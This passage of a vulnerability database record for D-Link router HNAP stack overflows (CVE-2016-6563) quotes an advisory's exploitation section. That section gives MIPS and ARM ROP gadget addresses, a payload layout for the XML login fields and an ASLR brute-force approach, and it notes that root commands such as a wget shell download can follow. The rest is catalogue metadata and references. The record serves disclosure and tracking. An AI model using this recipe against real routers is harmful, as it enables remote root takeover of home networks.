that\nthe MIPS devices use the RTL8881a CPU, which is based on a Lextra\nRLX5281 core. The Lextra RLX cores are MIPS clones, but they\u0027re bit\ncrippled as they are lacking a few load and store instructions. For this\nreason, some generic shellcodes that work on MIPS might not work on\nthese CPUs (especially when obfuscated). \n\nThe devices also do not have NX, ASLR nor any other modern memory\nprotections, so the shellcode is executed directly on the stack. \nHowever, it\u0027s necessary to use ROP to prepare the stack for execution,\nwhich can be executed with gadgets taken from libuClibc-0.9.30.3.so. \nDue to the way MIPS CPUs work, it\u0027s necessary to flush the CPU cache\nbefore executing the exploit. This can be forced by calling sleep() from\nlibc (refer to\nhttp://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html for\nan explanation on the MIPS CPU caches). \n\nSo the ROP chain and shellcode will look like:\n\nfirst_gadget - execute sleep and call second_gadget\n.text:0004EA1C move $t9, $s0 \u003c- sleep()\n.text:0004EA20 lw $ra, 0x20+var_4($sp) \u003c- second_gadget\n.text:0004EA24 li $a0, 2 \u003c- arg for sleep()\n.text:0004EA28 lw $s0, 0x20+var_8($sp)\n.text:0004EA2C li $a1, 1\n.text:0004EA30 move $a2, $zero\n.text:0004EA34 jr $t9\n.text:0004EA38 addiu $sp, 0x20\n\nsecond_gadget - puts stack pointer in a1:\n.text:0002468C addiu $s1, $sp, 0x58\n.text:00024690 li $s0, 0x44\n.text:00024694 move $a2, $s0\n.text:00024698 move $a1, $s1\n.text:0002469C move $t9, $s4\n.text:000246A0 jalr $t9\n.text:000246A4 move $a0, $s2\n\nthird_gadget - call $a1 (which now has the stack pointer):\n.text:00041F3C move $t9, $a1\n.text:00041F40 move $a1, $a2\n.text:00041F44 addiu $a0, 8\n.text:00041F48 jr $t9\n.text:00041F4C nop\n\nWhen the crash occurs, the stack pointer is at xml_tag_value[3128]. In\norder to have a larger space for the shellcode (3000+ bytes), it\u0027s\npossible to jump back to xml_tag_value[0]. \n prep_shellcode_1 = 23bdf3c8 \t\t# addi\tsp,sp,-3128\n prep_shellcode_2 = 03a0f809 \t\t# jalr\tsp\n branch_delay =\t\t 2084f830 \t # addi\ta0,a0,-2000 (NOP executed as a\nMIPS branch delay slot)\n\nThe final Action / Username / LoginPassword / Catpcha XML parameter\nvalue will be:\nshellcode + \u0027a\u0027 * (3072 - shellcode.size) + sleep() + \u00271\u0027 * 4 + \u00272\u0027 * 4\n+ \u00273\u0027 * 4 + third_gadget + first_gadget + \u0027b\u0027 * 0x1c + second_gadget +\n\u0027c\u0027 * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay\n\n\u0027a\u0027, \u0027b\u0027 and \u0027c\u0027 are just fillers to make up the buffer, while \u00271111\u0027,\n\u00272222\u0027 and \u00273333\u0027 will be the values of s1, s2 and s3 registers (which\nare not interesting for exploitation), and the rest is the ROP chain,\nshellcode and stack preparation routine. The only bad character that\ncannot be sent in the payload is the null byte as this is a str(n)cpy\noverflow. Up to 3350 characters can be sent, as after that it\u0027s hard to\ncontrol the overflow in a reliable way. Note that all of this is to\nexploit the first buffer overflow with strncpy, but the second buffer\noverflow can be exploited in a similar way. \n\nAs explained above, due to the use of a crippled MIPS core, generic\nshellcodes found on the Internet will likely fail. Some very simple ones\nwork, but the best is to craft a reliable one. The simple Metasploit\nbind shell also seems to work pretty reliably if no encoder is used. \n\n-----------------------\nARM exploitation\n-----------------------\n\nThe same two stack overflows affect ARM, but require less bytes to\noverflow the stack. The following snippet is the same part of\nparse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the\nDIR-868 Rev. B):\n.text:00018F34 C30 LDR R1, [R11,#src] ; src\n.text:00018F38 C30 LDR R2, [R11,#n] ; n\n.text:00018F3C C30 SUB R3, R11, #-xml_tag_var\n.text:00018F40 C30 SUB R3, R3, #4\n.text:00018F44 C30 SUB R3, R3, #4\n.text:00018F48 C30 MOV R0, R3 ; dest\n.text:00018F4C C30 BL strncpy ; first overflow occurs here\n(xml_tag_var in parse_xml_stack) with 1024+ characters\n.text:00018F50 C30 MOV R3, #0xFFFFFBEC\n.text:00018F58 C30 LDR R2, [R11,#n]\n.text:00018F5C C30 SUB R1, R11, #-var_4\n.text:00018F60 C30 ADD R2, R1, R2\n.text:00018F64 C30 ADD R3, R2, R3\n.text:00018F68 C30 MOV R2, #0\n.text:00018F6C C30 STRB R2, [R3]\n.text:00018F70 C30 SUB R3, R11, #-xml_tag_var\n.text:00018F74 C30 SUB R3, R3, #4\n.text:00018F78 C30 SUB R3, R3, #4\n.text:00018F7C C30 LDR R0, [R11,#a2_ptr] ; a2_ptr is is a\nstack variable from hnap_main\n.text:00018F80 C30 MOV R1, R3 ; src\n.text:00018F84 C30 BL strcpy ; second overflow occurs here\n\nThe stack size will be smaller for both parse_xml_value and hnap_main\nwhen compared to the MIPS binary. This time again it\u0027s easier to exploit\nthe easier strncpy overflow in parse_xml_value, but only 1024 bytes are\nenough to overflow the stack. As with the MIPS exploit, the only bad\ncharacter is the null byte. \n\nThe affected ARM devices have a non-executable stack (NX) and 32 bit\nASLR. NX can be defeated with ROP, and the 32 bit ASLR is weak - there\nare only 3 bytes that change in the address calculations, which means\nthere are only 4096 possible values. The attack has to be run several\ntimes until the correct base address is hit, but this can usually be\nachieved in less than 1000 attempts. \n\nThe easiest attack to perform is a return-to-libc to execute a command\nwith system(). To do this, R0 must point to the stack location where the\ncommand is before system() is called. All the affected ARM devices seem\nto use the same version of uClibc (libuClibc-0.9.32.1.so) for all\nfirmware versions, which makes gadget hunting much easier and allows\nbuilding an exploit that works on all the devices without any modification. \n\nfirst_gadget (pops system() address into r3, and second_gadget into PC):\n.text:00018298 LDMFD SP!, {R3,PC}\n\nsecond_gadget (puts the stack pointer into r0 and calls system() at r3):\n.text:00040CB8 MOV R0, SP\n.text:00040CBC BLX R3\n\nsystem() (Executes argument in r0 (our stack pointer)\n.text:0005A270 system\n\nThe final Action / Username / LoginPassword / Catpcha XML parameter\nvalue will be:\n\u0027a\u0027 * 1024 + 0xffffffff + \u0027b\u0027 * 16 + \u0027AAAA\u0027 + first_gadget + system() +\nsecond_gadget + command\n\na / b = filler\n0xffffffff = integer n (see below)\nAAAA = R11\nfirst_gadget = initial PC\npayload = stack points here after execution of our ROP chain; it should\npoint to whatever we want system() to execute\n\nWhen the overflow happens, the stack var \"n\" is overwritten, which is\nused to calculate a memory address (see 0x18F58). In order not to crash\nthe process before the shellcode is executed, the variable needs to be\nset to a numeric value that can be used to calculate a valid memory\naddress. A good value to choose is 0xffffffff, as this will just\nsubtract 1 from the calculated memory address and prevent an invalid\nmemory access. \n\nFrom this point onwards, it\u0027s possible to execute any command in\n\"payload\". For example, wget can be used to download a shell and execute\nit or a telnet server can be started. All commands will be executed as root. \n\n\n\u003e\u003e Fix:\nDlink did not respond to my or CERT\u0027s request for information, so no\nfirmware fix is available at the time of writing. \nGiven that this vulnerability can only be exploited in the LAN, it is\nrecommended to have a strong wireless password to prevent untrusted\nclients from connecting to the router. \n\n\n\u003e\u003e References:\n[1]\nhttps://isc.sans.edu//diary/More+on+HNAP+-+What+is+it,+How+to+Use+it,+How+to+Find+it/17648\n\n[2] https://en.wikipedia.org/wiki/Home_Network_Administration_Protocol\n[3] http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/\n[4] http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/\n[5] http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/\n[6]\nhttps://packetstormsecurity.com/files/134370/D-Link-DIR-818W-Buffer-Overflow-Command-Injection.html\n[7] https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf\n[8]\nhttp://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection\n[9] https://github.com/rapid7/metasploit-framework/pull/7543\n[10] https://www.kb.cert.org/vuls/id/677427\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business \u003e\u003e\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-6563"
},
{
"db": "CERT/CC",
"id": "VU#677427"
},
{
"db": "CERT/CC",
"id": "VU#305448"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-005757"
},
{
"db": "BID",
"id": "94130"
},
{
"db": "VULHUB",
"id": "VHN-95383"
},
{
"db": "VULMON",
"id": "CVE-2016-6563"
},
{
"db": "PACKETSTORM",
"id": "139611"
}
],
"trust": 3.6
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.kb.cert.org/vuls/id/677427",
"trust": 0.8,
"type": "poc"
},
{
"reference": "https://www.kb.cert.org/vuls/id/305448",
"trust": 0.8,
"type": "poc"
},
{
"reference": "https://www.scap.org.cn/vuln/vhn-95383",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=40805",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#677427"
},
{
"db": "CERT/CC",
"id": "VU#305448"
},
{
"db": "VULHUB",
"id": "VHN-95383"
},
{
"db": "VULMON",
"id": "CVE-2016-6563"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#677427",
"trust": 4.6
},
{
"db": "NVD",
"id": "CVE-2016-6563",
"trust": 3.0
},
{
"db": "BID",
"id": "94130",
"trust": 2.1
},
{
"db": "EXPLOIT-DB",
"id": "40805",
"trust": 1.8
},
{
"db": "DLINK",
"id": "SAP10066",
"trust": 0.8
},
{
"db": "CERT/CC",
"id": "VU#305448",
"trust": 0.8
},
{
"db": "JVN",
"id": "JVNVU99822187",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2016-005757",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201611-125",
"trust": 0.7
},
{
"db": "PACKETSTORM",
"id": "139611",
"trust": 0.2
},
{
"db": "PACKETSTORM",
"id": "139836",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-95383",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2016-6563",
"trust": 0.1
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#677427"
},
{
"db": "CERT/CC",
"id": "VU#305448"
},
{
"db": "VULHUB",
"id": "VHN-95383"
},
{
"db": "VULMON",
"id": "CVE-2016-6563"
},
{
"db": "BID",
"id": "94130"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-005757"
},
{
"db": "PACKETSTORM",
"id": "139611"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-125"
},
{
"db": "NVD",
"id": "CVE-2016-6563"
}
]
},
"id": "VAR-201807-0057",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-95383"
}
],
"trust": 0.678610265
},
"last_update_date": "2024-11-23T23:12:06.301000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Technical Support",
"trust": 0.8,
"url": "http://support.dlink.com/"
},
{
"title": "HNAP stack overflow :: DIR-8xx Routers Affected : All Models have Remote Admin Disabled as Default ",
"trust": 0.8,
"url": "http://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10066"
},
{
"title": "Multiple D-Link Repair measures for router buffer error vulnerability",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=99597"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-005757"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-125"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.1
},
{
"problemtype": "CWE-121",
"trust": 1.0
},
{
"problemtype": "CWE-Other",
"trust": 0.8
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-95383"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-005757"
},
{
"db": "NVD",
"id": "CVE-2016-6563"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.9,
"url": "https://www.kb.cert.org/vuls/id/677427"
},
{
"trust": 1.9,
"url": "https://www.exploit-db.com/exploits/40805/"
},
{
"trust": 1.8,
"url": "http://www.securityfocus.com/bid/94130"
},
{
"trust": 1.8,
"url": "http://seclists.org/fulldisclosure/2016/nov/38"
},
{
"trust": 1.7,
"url": "https://raw.githubusercontent.com/pedrib/poc/master/advisories/dlink-hnap-login.txt"
},
{
"trust": 1.6,
"url": "https://cwe.mitre.org/data/definitions/121.html"
},
{
"trust": 0.9,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-6563"
},
{
"trust": 0.8,
"url": "http://supportannouncement.us.dlink.com/announcement/publication.aspx?name=sap10066"
},
{
"trust": 0.8,
"url": "http://support.dlink.com/productinfo.aspx?m=dir-850l"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-6563"
},
{
"trust": 0.8,
"url": "http://jvn.jp/cert/jvnvu99822187"
},
{
"trust": 0.3,
"url": "http://www.dlink.co.in/"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/119.html"
},
{
"trust": 0.1,
"url": "http://tools.cisco.com/security/center/viewalert.x?alertid=49611"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html"
},
{
"trust": 0.1,
"url": "https://github.com/rapid7/metasploit-framework/pull/7543"
},
{
"trust": 0.1,
"url": "http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/"
},
{
"trust": 0.1,
"url": "https://en.wikipedia.org/wiki/home_network_administration_protocol"
},
{
"trust": 0.1,
"url": "https://isc.sans.edu//diary/more+on+hnap+-+what+is+it,+how+to+use+it,+how+to+find+it/17648"
},
{
"trust": 0.1,
"url": "http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/"
},
{
"trust": 0.1,
"url": "https://packetstormsecurity.com/files/134370/d-link-dir-818w-buffer-overflow-command-injection.html"
},
{
"trust": 0.1,
"url": "http://www.dlink.com/uk/en/support/support-news/2015/april/13/hnap-privilege-escalation-command-injection"
},
{
"trust": 0.1,
"url": "http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/"
},
{
"trust": 0.1,
"url": "https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#677427"
},
{
"db": "CERT/CC",
"id": "VU#305448"
},
{
"db": "VULHUB",
"id": "VHN-95383"
},
{
"db": "VULMON",
"id": "CVE-2016-6563"
},
{
"db": "BID",
"id": "94130"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-005757"
},
{
"db": "PACKETSTORM",
"id": "139611"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-125"
},
{
"db": "NVD",
"id": "CVE-2016-6563"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#677427"
},
{
"db": "CERT/CC",
"id": "VU#305448"
},
{
"db": "VULHUB",
"id": "VHN-95383"
},
{
"db": "VULMON",
"id": "CVE-2016-6563"
},
{
"db": "BID",
"id": "94130"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-005757"
},
{
"db": "PACKETSTORM",
"id": "139611"
},
{
"db": "CNNVD",
"id": "CNNVD-201611-125"
},
{
"db": "NVD",
"id": "CVE-2016-6563"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-11-07T00:00:00",
"db": "CERT/CC",
"id": "VU#677427"
},
{
"date": "2017-03-08T00:00:00",
"db": "CERT/CC",
"id": "VU#305448"
},
{
"date": "2018-07-13T00:00:00",
"db": "VULHUB",
"id": "VHN-95383"
},
{
"date": "2018-07-13T00:00:00",
"db": "VULMON",
"id": "CVE-2016-6563"
},
{
"date": "2016-11-07T00:00:00",
"db": "BID",
"id": "94130"
},
{
"date": "2016-11-09T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-005757"
},
{
"date": "2016-11-08T16:44:46",
"db": "PACKETSTORM",
"id": "139611"
},
{
"date": "2016-11-08T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201611-125"
},
{
"date": "2018-07-13T20:29:01.003000",
"db": "NVD",
"id": "CVE-2016-6563"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-03-08T00:00:00",
"db": "CERT/CC",
"id": "VU#677427"
},
{
"date": "2017-03-08T00:00:00",
"db": "CERT/CC",
"id": "VU#305448"
},
{
"date": "2019-10-09T00:00:00",
"db": "VULHUB",
"id": "VHN-95383"
},
{
"date": "2019-10-09T00:00:00",
"db": "VULMON",
"id": "CVE-2016-6563"
},
{
"date": "2016-11-24T01:08:00",
"db": "BID",
"id": "94130"
},
{
"date": "2017-03-16T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-005757"
},
{
"date": "2019-10-17T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201611-125"
},
{
"date": "2024-11-21T02:56:21.790000",
"db": "NVD",
"id": "CVE-2016-6563"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201611-125"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link routers HNAP service contains stack-based buffer overflow",
"sources": [
{
"db": "CERT/CC",
"id": "VU#677427"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer error",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201611-125"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.